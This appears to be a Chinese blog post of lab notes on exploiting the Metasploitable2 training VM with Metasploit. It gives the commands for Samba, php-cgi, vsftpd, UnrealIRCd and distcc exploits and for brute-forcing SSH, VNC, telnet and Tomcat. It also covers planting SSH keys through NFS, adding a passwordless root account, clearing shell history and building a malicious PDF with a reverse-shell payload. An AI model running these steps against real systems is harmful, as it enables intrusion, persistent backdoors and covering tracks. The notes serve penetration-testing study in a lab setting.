Metasploitable2与metasploit笔记

Metasploitable2#

Metasploitable2是一个特别制作的ubuntu系统,来作为安全工具测试和演示常见漏洞攻击。
Metasploitable2用户密码:msfadmin/msfadmin
系统中预装了几个Web漏洞的靶场

nmap对靶机扫描#

根据扫描结果判断可能存在的漏洞

Metasploit启动#

启动 postgreSQL 数据库,因为Metasploit需要使用postgreSQL进行数据存储
service postgresql start
初始化数据库
msfdb init
启动 msfconsole,进入到操作界面
msfconsole
在metasploit中可以导入nmap的扫描结构

Copy
# nmap扫描并输出文件test.xml nmap -sV 192.168.157.133 -p 1-65535 -oX test.xml # 进入msf中通过命令导入数据库 msf> db_import test.xml # 查看 msf> services

也可以直接扫描,该扫描直接保存在数据库中
db_nmap -sV 192.168.157.133 -p 1-65535

samba#

Samba本身是一个实现Server Messages Block协议提供跨平台文件共享服务的应用。此软件在各系统之间搭起一座桥梁,让两者的资源可互通有无。

samba命令执行漏洞#

影响版本Samba 3.0.0 - 3.0.25rc3
这个漏洞出现的前提是使用了 username map script 配置选项。漏洞出现在数据库更新用户口令的代码时,没有对代码进行严格的过滤,便把用户的所有输入信息直接传递给了Shell执行,从而可以执行任意的系统命令。

  1. 搜索可利用的攻击模块search samba

  1. 利用该模块,并配置相应参数
Copy
use exploit/multi/samba/usermap_script show payloads set payload cmd/unix/reverse set RHOST 192.168.157.133 set RPORT 445
  1. 查看配置信息并进行攻击
Copy
show options exploit


samba目录遍历漏洞#

影响版本Samba 3.4.5
该漏洞危害是能够使攻击者读写任意权限的目录

Copy
use auxiliary/admin/smb/samba_symlink_traversal set RHOST 192.168.157.133 # 选择共享目录 set SMBSHARE tmp exploit


通过smbclient //192.168.157.133/tmp 访问该目录

php_cgi参数注入#

影响版本php < 5.3.12,php < 5.4.2
apache调用php解释器解释.php文件时,会传递url参数,如果在url后加了命令行开关并传递到php-cgi程序,导致源代码泄露和任意代码执行

Copy
use exploit/multi/http/php_cgi_arg_injection set RHOSTS 192.168.157.133 show payloads set PAYLOAD php/meterpreter/reverse_tcp exploit

Ingreslock 1524端口后门漏洞#

ingreslock 1524端口是Ingres数据库管理系统锁定服务,该端口经常被用作后门程序监听端口,可以通过该端口直接连接
telnet 192.168.137.133 1524

弱口令爆破#

暴力破解SSH#

metasploit字典文件位置
cd /usr/share/metasploit-framework/data/wordlists/
攻击利用

Copy
use auxiliary/scanner/ssh/ssh_login set RHOSTS 192.168.157.133 #设置字典 set userpass_file /usr/share/metasploit-framework/data/wordlists/piata_ssh_userpass.txt exploit


当匹配成功的时候,攻击脚本会自动创建一个 SSH 连接会话,可以使用sessions -i id号这个命令将终端切换到会话中。

暴力破解VNC远程连接#

vnc是远程控制软件

Copy
use auxiliary/scanner/vnc/vnc_login #配置暴力破解的线程数 set THREADS 5 set RHOSTS 192.168.157.133 set userpass_file /usr/share/metasploit-framework/data/wordlists/piata_ssh_userpass.txt exploit

telnet爆破#

Copy
use auxiliary/scanner/telnet/telnet_login set RHOSTS 192.168.157.133 set USER_FILE username.txt set PASS_FILE password.txt exploit

通过tomcat manager部署认证代码上传后门#

暴力破解tomcat密码

Copy
use auxiliary/scanner/http/tomcat_mgr_login set RHOSTS 192.168.157.133 set RPORT 8180 exploit

图中加号显示匹配的用户名密码

得到密码之后,可以登录tomcat manager,执行payload使用PUT操作上传一个war包(Java web工程的打包格式),包中包含一个jsp文件来提供meterpreter后门。

Copy
use exploit/multi/http/tomcat_mgr_deploy set RHOSTS 192.168.157.133 set RPORT 8180 #配置用户名密码 set httpusername tomcat set httppassword tomcat exploit

ftp后门漏洞#

影响版本vsftpd-2.3.4
ftp服务使用的vsftpd软件,具备一个可以作为后门的漏洞。这个版本的软件如果接受到的 ftp 用户名后面有笑脸符号,则会自动在 6200 端口上打开一个监听的 Shell。
查询ftp版本号:

Copy
use auxiliary/scanner/ftp/ftp_version set RHOSTS 192.168.157.133


下面为手工利用:

  1. 本机连接服务器并随便输入用户名,及:),之后随便输入密码

  2. 在靶机上发现6200端口已经打开

  3. 本机成功连接该端口

通过Metasploit自动利用:

Copy
use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 192.168.157.133

NFS错误配置#

NFS即网络文件系统,允许网络中的计算机之间通过TCP/IP网络共享资源。
当NFS配置错误时候,让根目录被共享并具有可写的权限,攻击机从而可以挂载整个路径并写入/root/.ssh/authorized_keys获取root用户对靶机的SSH免密码登录。

Copy
use auxiliary/scanner/nfs/nfsmount set RHOSTS 192.168.157.133 exploit


挂载根目录到本地mnt目录
mount -t nfs -o nolock 192.168.157.133:/ /mnt

选择使用SSH无密码登录的方式创建一个后门。将公钥证书传到服务器上的指定目录,在客户端使用私钥证书就可以直接登录到服务器的SSH服务了。

  1. 首先创建一组公私钥证书,使用ssh-keygen命令,创建得到的证书在 Kali 主机的 /root/.ssh 目录:
  2. 上一步骤创建的 id_rsa.pub 证书添加到目标服务器的 /root/.ssh authorized_keys 文件的尾部:
    cat /root/.ssh/id_rsa.pub >> /mnt/root/.ssh/authorized_keys
  3. 连接的SSH命令中默认使用的证书就是/root/.ssh/id_rsa,该方式是root用户登录,如果使用其他用户则需要把公钥证书放到目标服务器其他用户的家目录 .ssh/authorized_keys 文件中。
  4. 登录
    ssh root@192.168.157.133

Distcc命令执行漏洞及提权#

distcc是一个将C、C++等程序的编译任务分发到网络中多个主机的程序,而力求实现和本地编译相同的结果。但是如果配置不严格,容易被滥用执行命令,该漏洞是XCode 1.5版本及其他版本的distcc 2.x版本配署对端口和执行的任务检查不严格,从而造成攻击者可以利用分布式的编译任务执行自己想要执行的命令。

Copy
use exploit/unix/misc/distcc_exec set RHOSTS 192.168.157.133 #设置payload,可以通过show payloads查看 set payload 0 exploit

成功后发现是权限低的damon用户,需要提权

提权的基本流程:

  1. 查看操作系统版本
  2. 查看版本内核
  3. 查看当前用户权限
  4. 列举suid文件
  5. 查看安装软件漏洞
  6. 利用漏洞提权

    通过有漏洞的nmap提权

Unreal后门利用并创建访问后门#

Unreal Ircd是一个开源的IRC服务器。在Unreal Ircd 3.2.8.1版本中,在DEBUG3_DOLOG_SYSTEM宏中包含外部引入的恶意代码,远程的攻击者能够利用这个潜在的木马执行任意代码。

Copy
use exploit/unix/irc/unreal_ircd_3281_backdoor set RHOSTS 192.168.157.133 set payload 0

创建简单后门#

在/etc/passwd中一行记录使用冒号分为七个字段,其具体的含义为<用户名字>:<口令>:<用户标识>:<组标识>:<注释>:<主目录>:<登录的 Shell>
但是把真正的加密后的用户口令字存放到/etc/shadow中,而在/etc/passwd的口令字段中只存放一个特殊的字符x代替

创建无口令账户my登录后门
echo 'my::0:0::/:/bin/sh' >> /etc/passwd

清理痕迹#

在shell中通过命令history就能看到过去使用的命令。清除历史命令history -c。并且一些命令会保存在内部的缓存中,等退出时会一并写入。所以通过history -w命令要求立即更新history记录后再删除

创建包含后门的PDF文件#

在Windows和Mac系统上的Adobe Reader和Acrobat9.3.3和8.2.3之前的版本中,不会限制警告信息框中嵌入的文本域中的内容。因此,攻击者可以很轻易的利用该漏洞欺骗用户去执行PDF文件中嵌入的任意可执行程序。
通过攻击模块是向PDF文件中嵌入Metasploit payload的方式有两种:
exploit/windows/fileformat/adobe_pdf_embedded_exe:向 PDF 文件中直接注入 payload
exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs:非标准方式注入 payload

Copy
use exploit/windows/fileformat/adobe_pdf_embedded_exe #配置攻击模块的参数 #EXENAME:嵌入到文件中的可执行文件的路径,默认攻击模块会提供一组简单的payload #FILENAME:输出的PDF文件的名称,默认为evil.pdf #INFILENAME:输入的PDF文件的路径,默认使用MSF自带的PDF #LAUNCH_MESSAGE:用来欺骗用户点击可执行程序的提示信息 #此处使用的payload是windows/meterpreter/reverse_tcp,其它payloads可以使用 show payloads查看并选择 set payload windows/meterpreter/reverse_tcp #需要指定IP地址和端口用来接收后门建立的连接 set lhost 192.168.157.128 set lport 443

posted @   启林O_o  阅读(455)  评论(0编辑  收藏  举报
编辑推荐:
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
· 一个奇形怪状的面试题:Bean中的CHM要不要加volatile?
· [.NET]调用本地 Deepseek 模型
· 一个费力不讨好的项目,让我损失了近一半的绩效!
阅读排行:
· PowerShell开发游戏 · 打蜜蜂
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
点击右上角即可分享
微信分享提示
CONTENTS